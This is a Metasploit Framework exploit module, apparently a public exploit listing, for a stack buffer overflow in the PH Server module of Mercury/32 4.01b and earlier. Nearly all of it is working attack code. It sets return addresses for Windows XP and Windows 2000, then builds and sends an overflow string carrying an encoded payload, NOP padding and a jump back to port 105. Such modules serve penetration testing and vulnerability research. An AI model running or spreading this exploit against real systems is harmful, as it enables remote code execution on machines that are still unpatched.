Mercury/32 < 4.01b - PH Server Module Buffer Overflow (Metasploit)
## # $Id: mercury_phonebook.rb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Mercury/32 <= v4.01b PH Server Module Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in Mercury/32 <= v4.01b PH Server Module. This issue is due to a failure of the application to properly bounds check user-supplied data prior to copying it to a fixed size memory buffer. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision: 9525 $', 'References' => [ [ 'CVE', '2005-4411' ], [ 'OSVDB', '22103'], [ 'BID', '16396' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], [ 'Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4 } ], ], 'Privileged' => true, 'DisclosureDate' => 'Dec 19 2005', 'DefaultTarget' => 0)) register_options([ Opt::RPORT(105)], self) end def exploit connect print_status("Trying target #{target.name}...") sploit = rand_text_alphanumeric(224, payload_badchars) sploit << payload.encoded + "\xeb\x06" + make_nops(2) sploit << [target.ret].pack('V') + [0xe8, -450].pack('CV') + "\r\n" sock.put(sploit) handler disconnect end end |